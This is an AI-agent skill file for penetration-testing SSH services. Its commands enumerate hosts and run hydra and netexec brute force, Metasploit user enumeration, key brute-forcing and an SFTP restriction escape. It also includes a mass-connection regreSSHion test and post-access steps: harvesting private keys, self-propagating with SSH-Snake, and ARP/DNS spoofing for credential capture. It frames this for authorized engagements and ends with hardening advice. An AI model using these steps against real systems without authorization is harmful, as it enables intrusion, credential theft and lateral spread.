pentesting-ssh

$npx mdskill add xalgord/xalgorix/pentesting-ssh

- Default port `22/tcp`; management/embedded services may expose SSH/Erlang-OTP on `2022`, `830`, `2222`. - When `nmap`/banner shows `ssh`, `OpenSSH`, `Dropbear`, `libssh`, `wolfSSH`, or an `SSH-2.0-*` banner. - For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.

SKILL.md

.github/skills/pentesting-sshView on GitHub ↗
---
name: pentesting-ssh
description: Testing SSH services (default port 22) for weak algorithms/host keys, default and brute-forceable credentials, key-based auth gaps, SFTP shell escapes and tunneling, auth-method downgrade, and high-impact CVEs (regreSSHion CVE-2024-6387, XZ backdoor CVE-2024-3094, Erlang/OTP CVE-2025-32433, libssh CVE-2018-10933) during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- ssh
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting SSH (port 22)

## When to Use
- Default port `22/tcp`; management/embedded services may expose SSH/Erlang-OTP on `2022`, `830`, `2222`.
- When `nmap`/banner shows `ssh`, `OpenSSH`, `Dropbear`, `libssh`, `wolfSSH`, or an `SSH-2.0-*` banner.
- For auditing crypto posture, authentication configuration, key trust, and known daemon vulnerabilities.

## Quick Enumeration
```bash
# Banner grab
nc -vn <IP> 22

# Host key fingerprint
ssh-keyscan -t rsa,ecdsa,ed25519 <IP> -p 22

# nmap version + scripts
nmap -p22 <IP> -sV                                   # version
nmap -p22 <IP> -sC                                   # default scripts
nmap -p22 <IP> --script ssh2-enum-algos              # supported algorithms
nmap -p22 <IP> --script ssh-hostkey --script-args ssh_hostkey=full   # weak keys
nmap -p22 <IP> --script ssh-auth-methods --script-args="ssh.user=root"  # auth methods

# Full crypto/config audit (algorithms, CVEs, recommendations)
python3 ssh-audit.py <IP>
```

## Critical: Checks Most Often Missed
- **Auth-method downgrade** — strong methods enabled without disabling `password`. Verbose mode reveals weaker methods still offered.
  - How to CONFIRM:
    ```bash
    ssh -v <IP>     # look for: "Authentications that can continue: publickey,password,keyboard-interactive"
    ssh -v <IP> -o PreferredAuthentications=password   # force the weak method
    ```
- **Default / known credentials** — vendor defaults are common on appliances (see table). Also try SecLists `ssh-betterdefaultpasslist.txt`.
  - How to CONFIRM: `hydra -l <user> -P creds.txt -t 4 ssh://<IP>`.
- **Weak / leaked host & user keys** — Debian weak-PRNG keys (g0tmi1k/debian-ssh) and rapid7 ssh-badkeys can be bruteforced/accepted.
  - How to CONFIRM: `nmap --script ssh-publickey-acceptance` or `msf> use scanner/ssh/ssh_identify_pubkeys`.
- **SFTP shell escape** — users confined to SFTP with `/usr/bin/nologin` can still get command execution by requesting a command at connect time.
  - How to CONFIRM: `ssh user@<IP> id` or `ssh user@<IP> /bin/bash` returns output despite "no shell".
- **High-impact CVEs** to triage from the banner:
  - **regreSSHion CVE-2024-6387** (OpenSSH 8.5p1–9.7p1) — pre-auth RCE via SIGALRM race when `LoginGraceTime` is non-zero.
  - **XZ backdoor CVE-2024-3094** (liblzma 5.6.0/5.6.1) — sshd `RSA_public_decrypt` hook; verify what's installed, do not trust banner alone.
  - **Erlang/OTP SSH CVE-2025-32433** — pre-auth RCE; any message code ≥ 80 accepted before auth (OTP < 27.3.3 / 26.2.5.11 / 25.3.2.20).
  - **libssh CVE-2018-10933** — server accepts client-sent `SSH_MSG_USERAUTH_SUCCESS`.

### How to CONFIRM the XZ backdoor (avoid banner false negatives)
```bash
xz --version
rpm -qi xz 2>/dev/null ; dpkg -l xz-utils 2>/dev/null
sha256sum /usr/lib*/liblzma.so*
ldd /usr/sbin/sshd | grep -E "systemd|lzma"   # does sshd even pull the dependency?
```

## Workflow

### Step 1: Enumerate (version, algorithms, auth methods)
```bash
ssh-keyscan -t rsa,ecdsa,ed25519 <IP>
nmap -p22 <IP> --script ssh2-enum-algos,ssh-hostkey,ssh-auth-methods --script-args="ssh.user=root"
python3 ssh-audit.py <IP>
# User enumeration via timing (some OpenSSH versions)
msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS <IP>; set RPORT 22; run; exit'
```

### Step 2: Authenticate (default creds, keys, brute force)
```bash
# Brute force credentials
hydra -v -V -l <Username> -P /usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt -t 1 <IP> ssh
nxc ssh <IP> -u users.txt -p passwords.txt

# Try discovered/known private keys
nmap --script ssh-publickey-acceptance -p22 <IP>
msfconsole -q -x 'use scanner/ssh/ssh_identify_pubkeys; set RHOSTS <IP>; run; exit'
python3 ssh-keybrute.py -H <IP> -p 22 -u root -d ./keys/

# Kerberos / GSSAPI (e.g., Windows OpenSSH on a DC)
sudo ntpdate <dc.fqdn>      # avoid KRB_AP_ERR_SKEW
kinit <user> ; klist
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>   # use FQDN matching the SPN
```

### Step 3: Exploit / Extract (escape, tunnel, CVE)
```bash
# SFTP restriction escape
ssh user@<IP> /bin/bash       # command requested before nologin takes over

# SFTP symlink trick (read outside chroot via a no-chroot service like web)
sftp> symlink / froot         # then access /froot via the web app

# Tunnel through a compromised SSH/SFTP host
sudo ssh -L <lport>:<remote_host>:<remote_port> -N -f <user>@<IP>

# regreSSHion lab pressure test (timing-based, vulnerable OpenSSH)
parallel -j200 "timeout 3 ssh -o PreferredAuthentications=none -o ConnectTimeout=2 attacker@${TARGET}" ::: {1..4000}
```

### Step 4: Post-access / pivot
- Harvest `~/.ssh/id_*`, `authorized_keys`, `known_hosts`, and `.bash_history` for lateral movement.
- Use **SSH-Snake** to recursively self-propagate across hosts using discovered private keys.
- For MitM credential capture on the LAN, combine ARP/DNS spoofing with **SSH-MITM**.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **Algorithm audit** | Identify weak/legacy KEX, host-key, cipher, and MAC algorithms with `ssh-audit`/`ssh2-enum-algos`. |
| **Auth-method downgrade** | `password` left enabled alongside `publickey`; forced via `PreferredAuthentications=password`. |
| **Vendor defaults** | Appliances ship known `user:pass` pairs (Cisco, Dell, HP, Huawei, etc.). |
| **Weak PRNG keys** | Debian OpenSSL bug produced a tiny, brute-forceable keyspace (debian-ssh sets). |
| **SFTP escape** | Requesting a command at login bypasses `nologin`/forced-command restrictions. |
| **State-machine flaws** | Connection-layer messages (code ≥ 80) handled pre-auth → unauth RCE (Erlang/OTP, libssh). |
| **GSSAPI/Kerberos auth** | TGT-based login when the server exposes a host SPN. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **nmap NSE** | `ssh2-enum-algos`, `ssh-hostkey`, `ssh-auth-methods`, `ssh-publickey-acceptance`. |
| **ssh-audit** | Server/client config audit; algorithm + CVE reporting (jtesta fork). |
| **ssh-keyscan / openssl** | Host key fingerprinting and banner grabbing. |
| **hydra / netexec (nxc)** | Credential brute force and spraying. |
| **Metasploit** | `scanner/ssh/ssh_version`, `ssh_enumusers`, `ssh_identify_pubkeys`, `juniper_backdoor`. |
| **SSH-Snake / SSH-MITM** | Key-based self-propagation; MitM credential capture. |
| **ssh-keybrute.py** | Lightweight python key brute-forcer with legacy algorithm support. |

## Common Scenarios
### Scenario 1: Password auth left enabled → brute force
`ssh -v <IP>` shows `password` is still offered behind `publickey`. Forcing `PreferredAuthentications=password` and running hydra with the SecLists default list yields a valid login.

### Scenario 2: SFTP-only user escapes to a shell
A backup user is configured with `ForceCommand internal-sftp` but the `password`/keyboard-interactive method still spawns a shell. `ssh backup@<IP> /bin/bash` returns an interactive root-group shell.

### Scenario 3: Vulnerable OpenSSH banner
Banner reveals OpenSSH 9.2p1 with non-zero `LoginGraceTime`. The host is flagged for regreSSHion (CVE-2024-6387); the tester documents exposure and recommends upgrade rather than weaponizing in production.

## Output Format
```
## SSH Finding

**Service**: SSH
**Port**: 22/tcp (OpenSSH 8.2p1 Ubuntu)
**Severity**: High
**Finding**: Password authentication enabled with weak credentials
**Evidence**:
  - ssh -v <IP>: "Authentications that can continue: publickey,password"
  - hydra ssh://<IP>: login "deploy:Summer2024" valid
**Impact**: Remote attacker can brute-force interactive access as the deploy user, enabling lateral movement and key theft.
**Recommendation**:
  1. Disable password auth (`PasswordAuthentication no`) and use key-based auth only.
  2. Disable root login (`PermitRootLogin no`).
  3. Enforce ssh-audit hardening guidance (remove weak KEX/cipher/MAC).
  4. Patch the daemon and restrict exposure of management ports.
```

More from xalgord/xalgorix